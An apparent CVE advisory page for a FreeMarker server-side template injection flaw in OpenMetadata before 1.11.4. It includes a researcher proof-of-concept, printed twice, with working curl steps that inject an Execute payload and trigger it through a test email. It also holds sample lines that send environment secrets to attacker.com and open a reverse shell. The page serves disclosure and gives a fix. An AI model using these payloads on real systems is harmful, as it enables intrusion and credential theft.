OpenMetadata is a unified metadata platform. Versions prior to 1.11.4 are vulnerable to remote code execution via Server-Side Template…
GitHub_M·CWE-1336·Published 2026-01-07
OpenMetadata is a unified metadata platform. Versions prior to 1.11.4 are vulnerable to remote code execution via Server-Side Template Injection (SSTI) in FreeMarker email templates. An attacker must have administrative privileges to exploit the vulnerability. Version 1.11.4 contains a patch.
OpenMetadata is a unified metadata platform. Versions prior to 1.11.4 are vulnerable to remote code execution via Server-Side Template Injection (SSTI) in FreeMarker email templates. An attacker must have administrative privileges to exploit the vulnerability. Version 1.11.4 contains a patch.
# OpenMetadata RCE Vulnerability - Proof of Concept ## Executive Summary **CRITICAL Remote Code Execution vulnerability** confirmed in OpenMetadata v1.11.2 via **Server-Side Template Injection (SSTI)** in FreeMarker email templates. ## Credit - @lnlinh31, @satthusaosan, @TheMacCuoi, @get-wright, @Ohnooo1234, @hienduc14 – FPT Cloud AppSec Research Team, FPT Smart Cloud ## Vulnerability Details ### 1. Root Cause File: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java` **Lines 35-45** contain unsafe FreeMarker template instantiation: ```java public Template getTemplate(String templateName) throws IOException { EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName); String template = emailTemplate.getTemplate(); // ← USER-CONTROLLED CONTENT FROM DATABASE if (nullOrEmpty(template)) { throw new IOException("Template content not found for template: " + templateName); } return new Template( templateName, new StringReader(template), // ← RENDERS UNTRUSTED TEMPLATE new Configuration(Configuration.VERSION_2_3_31)); // ← UNSAFE: NO SECURITY RESTRICTIONS! } ``` **Missing Security Controls**: - ❌ No `setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER)` - Allows arbitrary class instantiation - ❌ No `setAPIBuiltinEnabled(false)` - Enables `?api` built-in for reflection - ❌ No input validation - Template content not sanitized ### 2. Attack Vector (VERIFIED) **Step 1**: Attacker with Admin role modifies EmailTemplate via PATCH endpoint ```bash PATCH /api/v1/docStore/{templateId} Authorization: Bearer <admin_jwt_token> Content-Type: application/json-patch+json [ { "op": "replace", "path": "/data/template", "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()><p>RCE: ${ ex(\"whoami\") }</p>" } ] ``` **Step 2**: Malicious template stored in MySQL database: ```sql SELECT name, JSON_EXTRACT(json, '$.data.template') FROM docstore WHERE name = 'account-activity-change'; -- Returns: <#assign ex=\"freemarker.template.utility.Execute\"?new()>... ``` **Step 3**: Trigger template rendering via email notification: - Password change - User invitation - Account activity notification - Test email (if SMTP configured) **Step 4**: RCE execution in `DefaultTemplateProvider.getTemplate()`: ```java Template template = templateProvider.getTemplate("account-activity-change"); template.process(model, stringWriter); // ← COMMAND EXECUTES HERE AS SERVER USER! ``` --- ## Exploit Verification ### Environment - **Version**: OpenMetadata 1.11.2 (Latest) - **Platform**: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4) - **Test Date**: December 15, 2025 ### Step-by-Step Reproduction #### 1. Deploy OpenMetadata 1.11.2 ```bash cd docker ./run_local_docker.sh -m no-ui -d mysql ``` **Result**: ✅ OpenMetadata running on localhost:8585 #### 2. Obtain Admin JWT Token ```bash export NO_PROXY=localhost,127.0.0.1 TOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \ -H "Content-Type: application/json" \ -d '{"email":"admin@open-metadata.org","password":"YWRtaW4="}' \ | grep -o '"accessToken":"[^"]*' | cut -d'"' -f4) echo "Token: ${TOKEN:0:50}..." ``` **Result**: ✅ Token obtained (654 characters, 1-hour expiry) #### 3. Identify Target Template ```bash # Get testMail template ID (used by test email endpoint) curl -s "http://localhost:8585/api/v1/docStore?entityType=EmailTemplate" \ -H "Authorization: Bearer $TOKEN" \ | jq -r '.data[] | select(.name=="testMail") | .id' ``` **Result**: ✅ Template ID: `855f58c6-1b80-467a-b92e-71c425e9bfdb` #### 4. Inject RCE Payload ```bash curl -X PATCH "http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb" \ -H "Content-Type: application/json-patch+json" \ -H "Authorization: Bearer $TOKEN" \ -d '[{ "op": "replace", "path": "/data/template", "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}" }]' ``` **Result**: ✅ **HTTP 200 OK** - Template modified successfully **Response Excerpt**: ```json { "id": "855f58c6-1b80-467a-b92e-71c425e9bfdb", "name": "testMail", "entityType": "EmailTemplate", "data": { "template": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}" }, "changeDescription": { "fieldsUpdated": [ { "name": "data", "oldValue": "{\"template\":\"<!DOCTYPE HTML ...ORIGINAL_TEMPLATE...\"}", "newValue": "{\"template\":\"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>RCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"}" } ] } } ``` #### 5. Setup SMTP Server ```bash # Start MailDev SMTP server (catches emails for verification) docker run -d --name fakesmtp \ --network linhln31_default \ -p 1025:1025 -p 1080:1080 \ maildev/maildev:latest # Update OpenMetadata SMTP configuration docker exec om_mysql mysql -uopenmetadata_user -popenmetadata_password \ -Dopenmetadata_db -e "UPDATE openmetadata_settings SET json=JSON_SET(json, '$.serverEndpoint', 'fakesmtp', '$.serverPort', 1025, '$.transportationStrategy', 'SMTP', '$.enableSmtpServer', true, '$.senderMail', 'noreply@openmetadata.org' ) WHERE configType='emailConfiguration';" # Restart OpenMetadata to load new SMTP config docker restart om_server sleep 50 # Wait for server startup ``` **Result**: ✅ SMTP server ready at fakesmtp:1025 #### 6. Trigger RCE Execution ```bash curl -X PUT "http://localhost:8585/api/v1/system/email/test" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"email":"test@test.com"}' ``` **Result**: ✅ **HTTP 200 OK** - "Test Email Sent Successfully." #### 7. Verify RCE Execution ```bash # Check email content in MailDev docker exec fakesmtp cat /tmp/maildev-1/*.eml | tail -10 ``` **Result**: ✅ **RCE CONFIRMED!** **Email Content**: ``` Date: Mon, 15 Dec 2025 17:03:20 +0000 (GMT) From: noreply@openmetadata.org To: test@test.com Message-ID: <1307498173.2.1765818200564@62a9f8b5b6f2> Subject: OpenMetadata : Test Email MIME-Version: 1.0 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable RCE OUTPUT: openmetadata - /opt/openmetadata ``` **Command Execution Proof**: - ✅ `whoami` command executed → returned `openmetadata` - ✅ `pwd` command executed → returned `/opt/openmetadata` - ✅ Commands ran as server process user - ✅ Full arbitrary command execution achieved --- ## Attack Scenarios ### Scenario 1: Privilege Escalation 1. Attacker compromises Admin account (phishing, credential stuffing, etc.) 2. Injects RCE payload into `password-reset` template 3. Triggers password reset for target user 4. RCE executes as OpenMetadata server user during email rendering 5. Attacker gains shell access to application server ### Scenario 2: Data Exfiltration ```freemarker <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-")} ``` Exfiltrates environment variables containing: - Database credentials - API keys and secrets - JWT signing keys - Cloud provider credentials ### Scenario 3: Reverse Shell ```freemarker <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")} ``` Establishes persistent access for: - Interactive command execution - Lateral movement to connected systems - Database direct access - Kubernetes cluster compromise (if containerized) --- ## Impact Assessment ### Technical Impact - **Confidentiality**: **HIGH** - Access to database credentials, API keys, secrets - **Integrity**: **HIGH** - Full control over OpenMetadata application and data - **Availability**: **HIGH** - Ability to crash application, delete data, deny service ### Business Impact - **Data Breach**: Access to all metadata including sensitive schema information, PII mappings, data lineage - **Compliance**: GDPR, SOC2, HIPAA violations if exploited - **Reputation**: Critical security failure in data governance platform - **Supply Chain**: Potential pivot to connected data sources (70+ connectors) ### CVSS 3.1 Score ``` CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H ``` - **Attack Vector (AV)**: Network (N) - **Attack Complexity (AC)**: Low (L) - Simple API requests - **Privileges Required (PR)**: High (H) - Admin role required - **User Interaction (UI)**: None (N) - **Scope (S)**: Changed (C) - Impacts beyond application (server OS) - **Confidentiality (C)**: High (H) - **Integrity (I)**: High (H) - **Availability (A)**: High (H) **Score**: **9.1 (CRITICAL)** --- ## Remediation ### Immediate Fix (CRITICAL) **File**: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java` **Replace lines 38-42 with:** ```java public Template getTemplate(String templateName) throws IOException { EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName); String template = emailTemplate.getTemplate(); if (nullOrEmpty(template)) { throw new IOException("Template content not found for template: " + templateName); } // SECURITY FIX: Create sandboxed FreeMarker configuration Configuration cfg = new Configuration(Configuration.VERSION_2_3_31); // Block dangerous built-ins cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER); cfg.setAPIBuiltinEnabled(false); cfg.setClassicCompatible(false); // Restrict template loading cfg.setTemplateLoader(new StringTemplateLoader()); return new Template(templateName, new StringReader(template), cfg); } ``` ---
# OpenMetadata RCE Vulnerability - Proof of Concept ## Executive Summary **CRITICAL Remote Code Execution vulnerability** confirmed in OpenMetadata v1.11.2 via **Server-Side Template Injection (SSTI)** in FreeMarker email templates. ## Credit - @lnlinh31, @satthusaosan, @TheMacCuoi, @get-wright, @Ohnooo1234, @hienduc14 – FPT Cloud AppSec Research Team, FPT Smart Cloud ## Vulnerability Details ### 1. Root Cause File: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java` **Lines 35-45** contain unsafe FreeMarker template instantiation: ```java public Template getTemplate(String templateName) throws IOException { EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName); String template = emailTemplate.getTemplate(); // ← USER-CONTROLLED CONTENT FROM DATABASE if (nullOrEmpty(template)) { throw new IOException("Template content not found for template: " + templateName); } return new Template( templateName, new StringReader(template), // ← RENDERS UNTRUSTED TEMPLATE new Configuration(Configuration.VERSION_2_3_31)); // ← UNSAFE: NO SECURITY RESTRICTIONS! } ``` **Missing Security Controls**: - ❌ No `setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER)` - Allows arbitrary class instantiation - ❌ No `setAPIBuiltinEnabled(false)` - Enables `?api` built-in for reflection - ❌ No input validation - Template content not sanitized ### 2. Attack Vector (VERIFIED) **Step 1**: Attacker with Admin role modifies EmailTemplate via PATCH endpoint ```bash PATCH /api/v1/docStore/{templateId} Authorization: Bearer <admin_jwt_token> Content-Type: application/json-patch+json [ { "op": "replace", "path": "/data/template", "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()><p>RCE: ${ ex(\"whoami\") }</p>" } ] ``` **Step 2**: Malicious template stored in MySQL database: ```sql SELECT name, JSON_EXTRACT(json, '$.data.template') FROM docstore WHERE name = 'account-activity-change'; -- Returns: <#assign ex=\"freemarker.template.utility.Execute\"?new()>... ``` **Step 3**: Trigger template rendering via email notification: - Password change - User invitation - Account activity notification - Test email (if SMTP configured) **Step 4**: RCE execution in `DefaultTemplateProvider.getTemplate()`: ```java Template template = templateProvider.getTemplate("account-activity-change"); template.process(model, stringWriter); // ← COMMAND EXECUTES HERE AS SERVER USER! ``` --- ## Exploit Verification ### Environment - **Version**: OpenMetadata 1.11.2 (Latest) - **Platform**: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4) - **Test Date**: December 15, 2025 ### Step-by-Step Reproduction #### 1. Deploy OpenMetadata 1.11.2 ```bash cd docker ./run_local_docker.sh -m no-ui -d mysql ``` **Result**: ✅ OpenMetadata running on localhost:8585 #### 2. Obtain Admin JWT Token ```bash export NO_PROXY=localhost,127.0.0.1 TOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \ -H "Content-Type: application/json" \ -d '{"email":"admin@open-metadata.org","password":"YWRtaW4="}' \ | grep -o '"accessToken":"[^"]*' | cut -d'"' -f4) echo "Token: ${TOKEN:0:50}..." ``` **Result**: ✅ Token obtained (654 characters, 1-hour expiry) #### 3. Identify Target Template ```bash # Get testMail template ID (used by test email endpoint) curl -s "http://localhost:8585/api/v1/docStore?entityType=EmailTemplate" \ -H "Authorization: Bearer $TOKEN" \ | jq -r '.data[] | select(.name=="testMail") | .id' ``` **Result**: ✅ Template ID: `855f58c6-1b80-467a-b92e-71c425e9bfdb` #### 4. Inject RCE Payload ```bash curl -X PATCH "http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb" \ -H "Content-Type: application/json-patch+json" \ -H "Authorization: Bearer $TOKEN" \ -d '[{ "op": "replace", "path": "/data/template", "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}" }]' ``` **Result**: ✅ **HTTP 200 OK** - Template modified successfully **Response Excerpt**: ```json { "id": "855f58c6-1b80-467a-b92e-71c425e9bfdb", "name": "testMail", "entityType": "EmailTemplate", "data": { "template": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}" }, "changeDescription": { "fieldsUpdated": [ { "name": "data", "oldValue": "{\"template\":\"<!DOCTYPE HTML ...ORIGINAL_TEMPLATE...\"}", "newValue": "{\"template\":\"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>RCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"}" } ] } } ``` #### 5. Setup SMTP Server ```bash # Start MailDev SMTP server (catches emails for verification) docker run -d --name fakesmtp \ --network linhln31_default \ -p 1025:1025 -p 1080:1080 \ maildev/maildev:latest # Update OpenMetadata SMTP configuration docker exec om_mysql mysql -uopenmetadata_user -popenmetadata_password \ -Dopenmetadata_db -e "UPDATE openmetadata_settings SET json=JSON_SET(json, '$.serverEndpoint', 'fakesmtp', '$.serverPort', 1025, '$.transportationStrategy', 'SMTP', '$.enableSmtpServer', true, '$.senderMail', 'noreply@openmetadata.org' ) WHERE configType='emailConfiguration';" # Restart OpenMetadata to load new SMTP config docker restart om_server sleep 50 # Wait for server startup ``` **Result**: ✅ SMTP server ready at fakesmtp:1025 #### 6. Trigger RCE Execution ```bash curl -X PUT "http://localhost:8585/api/v1/system/email/test" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"email":"test@test.com"}' ``` **Result**: ✅ **HTTP 200 OK** - "Test Email Sent Successfully." #### 7. Verify RCE Execution ```bash # Check email content in MailDev docker exec fakesmtp cat /tmp/maildev-1/*.eml | tail -10 ``` **Result**: ✅ **RCE CONFIRMED!** **Email Content**: ``` Date: Mon, 15 Dec 2025 17:03:20 +0000 (GMT) From: noreply@openmetadata.org To: test@test.com Message-ID: <1307498173.2.1765818200564@62a9f8b5b6f2> Subject: OpenMetadata : Test Email MIME-Version: 1.0 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable RCE OUTPUT: openmetadata - /opt/openmetadata ``` **Command Execution Proof**: - ✅ `whoami` command executed → returned `openmetadata` - ✅ `pwd` command executed → returned `/opt/openmetadata` - ✅ Commands ran as server process user - ✅ Full arbitrary command execution achieved --- ## Attack Scenarios ### Scenario 1: Privilege Escalation 1. Attacker compromises Admin account (phishing, credential stuffing, etc.) 2. Injects RCE payload into `password-reset` template 3. Triggers password reset for target user 4. RCE executes as OpenMetadata server user during email rendering 5. Attacker gains shell access to application server ### Scenario 2: Data Exfiltration ```freemarker <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-")} ``` Exfiltrates environment variables containing: - Database credentials - API keys and secrets - JWT signing keys - Cloud provider credentials ### Scenario 3: Reverse Shell ```freemarker <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")} ``` Establishes persistent access for: - Interactive command execution - Lateral movement to connected systems - Database direct access - Kubernetes cluster compromise (if containerized) --- ## Impact Assessment ### Technical Impact - **Confidentiality**: **HIGH** - Access to database credentials, API keys, secrets - **Integrity**: **HIGH** - Full control over OpenMetadata application and data - **Availability**: **HIGH** - Ability to crash application, delete data, deny service ### Business Impact - **Data Breach**: Access to all metadata including sensitive schema information, PII mappings, data lineage - **Compliance**: GDPR, SOC2, HIPAA violations if exploited - **Reputation**: Critical security failure in data governance platform - **Supply Chain**: Potential pivot to connected data sources (70+ connectors) ### CVSS 3.1 Score ``` CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H ``` - **Attack Vector (AV)**: Network (N) - **Attack Complexity (AC)**: Low (L) - Simple API requests - **Privileges Required (PR)**: High (H) - Admin role required - **User Interaction (UI)**: None (N) - **Scope (S)**: Changed (C) - Impacts beyond application (server OS) - **Confidentiality (C)**: High (H) - **Integrity (I)**: High (H) - **Availability (A)**: High (H) **Score**: **9.1 (CRITICAL)** --- ## Remediation ### Immediate Fix (CRITICAL) **File**: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java` **Replace lines 38-42 with:** ```java public Template getTemplate(String templateName) throws IOException { EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName); String template = emailTemplate.getTemplate(); if (nullOrEmpty(template)) { throw new IOException("Template content not found for template: " + templateName); } // SECURITY FIX: Create sandboxed FreeMarker configuration Configuration cfg = new Configuration(Configuration.VERSION_2_3_31); // Block dangerous built-ins cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER); cfg.setAPIBuiltinEnabled(false); cfg.setClassicCompatible(false); // Restrict template loading cfg.setTemplateLoader(new StringTemplateLoader()); return new Template(templateName, new StringReader(template), cfg); } ``` ---
OpenMetadata es una plataforma unificada de metadatos. Las versiones anteriores a la 1.11.4 son vulnerables a la ejecución remota de código a través de Inyección de Plantillas del Lado del Servidor (SSTI) en plantillas de correo electrónico de FreeMarker. Un atacante debe tener privilegios administrativos para explotar la vulnerabilidad. La versión 1.11.4 contiene un parche.
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 3.1 | Primary | NVD | 7.2 | 1.2 | 5.9 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| 3.1 | Secondary | GHSA | 9.1 | — | — | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
| 4.0 | Primary | cve.org | 8.5 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P |
| 4.0 | Secondary | NVD | 8.5 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X |
| 4.0 | Secondary | GHSA | 8.5 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P |